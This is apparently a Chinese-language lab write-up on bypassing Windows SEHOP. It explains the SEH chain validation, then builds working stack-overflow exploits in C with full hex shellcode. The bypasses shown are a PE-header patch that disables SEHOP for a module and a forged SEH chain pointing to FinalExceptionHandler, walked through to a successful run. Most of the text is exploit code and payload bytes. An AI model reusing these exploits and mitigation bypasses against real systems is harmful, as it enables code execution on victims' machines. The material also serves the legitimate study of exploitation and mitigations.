与SafeSEH机制检测要调用的异常处理函数的函数地址不同,SEHOP检测要调用的异常处理函数的SEH链表
SEHOP机制原理
SEHOP是比SafeSEH更为严厉的保护机制,在Windows Server 2008中默认启用,Windows Vista和Windows 7中默认是关闭的,可以手动启动:
- 手工在注册表中
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel
下面找到DisableExceptionChainValidation
项,将其值设置为0,即可以启用SEHOP
SEH函数是以单链表形式保存在栈中的,链表末端的程序是默认异常处理,处理前面不能处理的异常
而SEHOP的任务就是检查SEH链的完整性,在程序传入异常处理前,SEH会检查SEH链上的最后一个异常处理函数是否为系统固定的终极异常处理函数:
- 如果是则表明链表没被破坏,可以执行异常处理函数
- 如果不是,则表示链表被破坏,程序将不去执行当前异常处理函数
Alex对该验证过程进行了批露,验证代码如下:
BOOL RtlIsValidHandler(handler)
{
if (handler is in an image) {
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE;
if (image has a SafeSEH table)
if (handler found in the table)
return TRUE;
else
return FALSE;
if (image is a .NET assembly with the ILonly flag set)
return FALSE;
// fall through
}
if (handler is on a non-executable page) {
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE;
else
// enforce DEP even if we have no hardware NX
raise ACCESS_VIOLATION;
}
if (handler is not in an image) {
if (ImageDispatchEnable bit set in the process flags)
return TRUE;
else
return FALSE; // don't allow handlers outside of images
}
// everything else is allowed
return TRUE;
}
[...]
// Skip the chain validation if the
// DisableExceptionChainValidation bit is set
if (process_flags & 0x40 == 0) {
// Skip the validation if there are no SEH records on the
// 如果没有SEH记录则不进行检测
// linked list
if (record != 0xFFFFFFFF) {
// Walk the SEH linked list
// 遍历SEH链表
do {
// The record must be on the stack
// 记录必须在栈中
if (record < stack_bottom || record > stack_top)
goto corruption;
// The end of the record must be on the stack
// 最后一个记录也必须在栈中
if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
goto corruption;
// The record must be 4 byte aligned
// 必须是4字节对齐
if ((record & 3) != 0)
goto corruption;
handler = record->handler;
// The handler must not be on the stack
// 处理函数的地址不能在栈中
if (handler >= stack_bottom && handler < stack_top)
goto corruption;
record = record->next;
} while (record != 0xFFFFFFFF);
// End of chain reached
// 到达链的最后
// Is bit 9 set in the TEB->SameTebFlags field?
// TEB->SameTebFlags的第九位被设置了吗?
// This bit is set in ntdll!RtlInitializeExceptionChain,
// which registers FinalExceptionHandler as an SEH handler
// when a new thread starts.
// 第九位意味着当线程启动时,是否要注册终极异常处理函数
if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
// The final handler must be ntdll!FinalExceptionHandler
// 最后的处理函数必须是ntdll!FinalExceptionHandler
if (handler != &FinalExceptionHandler)
goto corruption;
}
}
}
传统的栈溢出覆盖SEH会把链表指针给破坏了,然后覆盖异常处理函数地址,这样的话,SEH链的破坏就会被SEHOP检测出来
SEHOP是SafeSEH的补充,在SafeSEH的RtlIsValidHandler函数校验前进行检测,也就是说利用攻击加载模块之外的地址、堆地址、未启用SafeSEH模块的方法行不通了。
理论上还有三条路可行:
- 不去攻击SEH,而是攻击函数返回地址或者虚函数等
- 利用未启用SEHOP的模块
- 伪造SEH链
攻击返回地址和虚函数
如果碰巧一个程序启动了SEHOP,但是目标函数没有GS保护,则可以直接攻击返回地址
SEHOP保护的是SEH链表,其他东西并不保护,攻击虚函数的话SafeSEH和SEHOP不会管的
利用未启用SEHOP的模块
出于兼容性考虑,系统会对一部分程序禁用SEHOP,例如Armadilo加壳的软件
系统会根据PE头中的MajorLinkerVersion和MinorLinkerVersion两个选项来判断是否为程序禁用SEHOP,可以通过设置这两个选项为0x53,0x52来模拟经过Armadilo加壳的程序,从而达到禁用SEHOP
实验环境:Windows7 + VS2008 + VC++6.0 + SEHOP启动 + DEP关闭 + 禁用DLL ASLR + 禁用优化 + release + DLL基址为0x11120000
实验在“利用无safeSEH的模块”的基础上进行 (意思是用无SafeSEH的模块)
SEHOP的检查是在SafeSEH之前进行的,所以即便没有SafeSEH,SEHOP也会进行检查,虽说是SafeSEH的扩展,实际上二者可以相互独立存在
编译一个dll:SEHOPDLL.dll
#include <windows.h>
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
项目设置:关闭ASLR,基址为0x11120000,禁用优化,release编译,链接器-命令行:safeseh:no
配置无safeseh
复制一个副本出来,重命名为NOSEHOPDLL.dll,并用CFF修改PE头的标识位来关闭SEHOP:
到此为止已经有了两个无SafeSEH的DLL,一个开启了SEHOP,一个禁用了SEHOP
实验代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\xe0\x15\x12\x11" // address of pop pop ret in SEHOPDLL.dll
"\x8b\xc4\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int main(int argc, char* argv[])
{
HINSTANCE hInst = LoadLibraryA("SEHOPDLL.dll");//no safeseh have sehop
//HINSTANCE hInst = LoadLibraryA("NOSEHOPDLL.dll");//no safeseh no sehop
char str[200];
test(shellcode);
return 0;
}
这里代码和SafeSEH那一节基本一样,不同之处在于修改了Shellcode使其适用于Windows 7,以及修改了SEH Handler地址为我们自己编译的模块对应的地址
首先加载有SEHOP的模块,编译运行:
程序停在了发生异常的地方,无法进入异常处理,被系统给检测出来了SEH链的问题
首先加载无SEHOP的模块,编译运行:
程序成功进入构造的异常处理程序
也就是说,异常处理函数目标地址模块如果未开启SEHOP,则不会有SEHOP检测
伪造SEH链表
SEHOP检查的是SEH链的完整性,通过检查最后一个成员是不是指向一个固定的终极异常处理函数,如果溢出时能伪造这个结构,就可以绕过SEHOP了
伪造SEH条件比较苛刻:系统的ASLR不能启用,因为需要用到FinalExceptionHandler指向的地址,每次重启都变化的话,成功率会大大降低(这里探讨的这种方法理论上可行性)
伪造SEH链绕过SEHOP的具体条件:(假定关闭了ASLR)
- 链表指向的地址必须指向栈中,而且必须能被4整除
- 链表指向的地址存放的异常处理记录作为SEH链中的最后一项,异常处理函数指针必须指向终极异常处理函数
- 突破SEHOP检查后,溢出程序还需搞定SafeSEH
为了直观实验绕过SEHOP,所以本次实验在“利用未启用SafeSEH模块绕过SafeSEH”基础上进行,也就是说,使用上文编译的DLL即可
这样就不用考虑绕过SafeSEH的问题了,然后就是只需要确定了链表指针的值和FinalExceptionHandler指向的地址即可
实验环境:实验环境:Windows7 + VS2008 + VC++6.0 + SEHOP启动 + DEP关闭 + 禁用DLL ASLR + 禁用优化 + release + DLL基址为0x11120000
实验代码:
#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
//strcpy(str,input);
memcpy(str,input,200/*412*/);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEHOPDLL.dll"));//load No_SafeSEH module
char str[200];
//__asm int 3
test(shellcode);
return 0;
}
实验思路:代码跟之前基本上是一样的,这里调用未启用safeSEH的模块来绕过SafeSEH,代码里通过经典的栈溢出来覆盖SEH信息,通过伪造SEH链来造成SEH链未被破坏的假象,使用pop pop ret指令覆盖异常处理函数地址,制造异常进入异常处理,劫持异常处理流程
首先需要确定FinalExceptionHandler指向的地址——用x86dbg加载好程序后直接观察堆栈的底部去找到该地址:0x770AAB2D
首先填充合法数据0x90,观察堆栈覆盖情况:
buffer起始地址:0x0014FCE0,结束地址:0x0014FDA4,函数返回地址:0x0014FEA4,SEH记录地址:0x0014FDB8
这里需要填充16个字节然后开始覆盖SEH记录
刚刚忘了关闭编译的exe的随机基址了,所以截图中出现了基址不同,从这往后又给加上了
程序自带的最后一个SEH记录的地址是0x0014FFE4,用这个地址会导致其作为shellcode导致shellcode无法执行,所以这里需要换个不影响shellcode执行的地址
构造shellcode(向后添加部分):
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" // address of last seh record
"\xe0\x15\x12\x11" // address of pop pop ret in SEHOPDLL.dll
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
"\xFF\xFF\xFF\xFF"// the fake seh record
"\x75\xA8\xF7\x77"
这里先把SEH链的位置空下来,等会再填充,把最后一个seh记录的内容存放到shellcode最后,调试看看地址:
记录下地址:0x0012FF14,再次构造shellcode:
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x14\xFF\x12\x00" // address of last seh record 0x0012FF14
"\xe0\x15\x12\x11" // address of pop pop ret in SEHOPDLL.dll
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
"\xFF\xFF\xFF\xFF"// the fake seh record
"\x2D\xAB\x0A\x77"//0x770AAB2D
编译,调试运行:
成功将执行流转入栈中,但是。。。依然跑不起来
遇到的问题及解决
貌似0x12FF14这个地址作为shellcode依然不能得到执行,因为转入到这里的时候eax是0,还有后面的0x00000000也不行,这里需要对eax进行修改,让eax有一个可写入的值
到这里我发现了个问题,就是我们自己编译的dll,我们使用的并不是我们自己写的那个jump函数,重新将我们写的dll编译,让我们自己的dll来提供一个修改eax的跳转:
#include <windows.h>
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
extern "C" __declspec(dllexport)
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
在内存中找到函数位置:0x11121013
修改到shellcode里,完整shellcode:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x14\xFF\x12\x00" // address of last seh record 0x0012FF14
"\x13\x10\x12\x11" // address of pop pop ret in SEHOPDLL.dll
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
"\xFF\xFF\xFF\xFF"// the fake seh record
"\x2D\xAB\x0A\x77"// 0x770AAB2D
;
编译运行,成功执行:
实验完成,证明了伪造SEH链表在理论上的可行性
这里的难点在于突破ASLR找到终极异常处理函数地址,如果没有ASLR还好说,如果有,那就不简单了